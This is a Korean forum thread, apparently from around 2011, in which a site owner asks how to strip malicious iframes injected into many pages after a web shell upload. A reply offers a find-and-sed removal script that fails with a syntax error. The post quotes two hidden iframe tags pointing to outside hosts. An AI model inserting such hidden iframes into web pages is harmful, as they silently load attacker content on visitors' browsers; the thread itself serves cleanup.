ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1008 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,739
14년 전 조회 1,131
14년 전 조회 1,412
14년 전 조회 919
14년 전 조회 1,078
14년 전 조회 871
14년 전 조회 1,192
14년 전 조회 1,080
14년 전 조회 505
14년 전 조회 648
14년 전 조회 698
14년 전 조회 1,034
14년 전 조회 864
14년 전 조회 866
14년 전 조회 826
14년 전 조회 1,251
14년 전 조회 948
14년 전 조회 952
14년 전 조회 961
14년 전 조회 769
14년 전 조회 1,824
14년 전 조회 1,602
14년 전 조회 1,024
14년 전 조회 852
14년 전 조회 1,926
14년 전 조회 1,299
14년 전 조회 1,137
14년 전 조회 887
14년 전 조회 1,598
14년 전 조회 3,859
14년 전 조회 2,503
14년 전 조회 1,200
14년 전 조회 817
14년 전 조회 881
14년 전 조회 1,419
14년 전 조회 1,071
14년 전 조회 1,435
14년 전 조회 1,490
14년 전 조회 1,509
14년 전 조회 700
14년 전 조회 952
14년 전 조회 2,835
14년 전 조회 849
14년 전 조회 1,322
14년 전 조회 900
14년 전 조회 774
14년 전 조회 1,320
14년 전 조회 748
14년 전 조회 1,424
14년 전 조회 1,009
14년 전 조회 1,670
14년 전 조회 1,599
14년 전 조회 1,116
14년 전 조회 1,342
14년 전 조회 1,025
14년 전 조회 1,732
14년 전 조회 1,312
14년 전 조회 1,312
14년 전 조회 1,584
14년 전 조회 1,486
14년 전 조회 916
14년 전 조회 989
14년 전 조회 755
14년 전 조회 926
14년 전 조회 1,680
14년 전 조회 2,431
14년 전 조회 2,333
14년 전 조회 1,975
14년 전 조회 1,502
14년 전 조회 1,583
14년 전 조회 1,361
14년 전 조회 1,618
14년 전 조회 728
14년 전 조회 1,347
14년 전 조회 725
14년 전 조회 1,171
14년 전 조회 943
14년 전 조회 2,053
14년 전 조회 832
14년 전 조회 2,656
14년 전 조회 1,062
14년 전 조회 909
14년 전 조회 2,994
14년 전 조회 787
14년 전 조회 1,050
14년 전 조회 581
14년 전 조회 908
14년 전 조회 681
14년 전 조회 1,383
14년 전 조회 803
14년 전 조회 1,184
14년 전 조회 812
14년 전 조회 724
14년 전 조회 703
14년 전 조회 1,426
14년 전 조회 885
14년 전 조회 776
14년 전 조회 793
14년 전 조회 1,463
14년 전 조회 1,475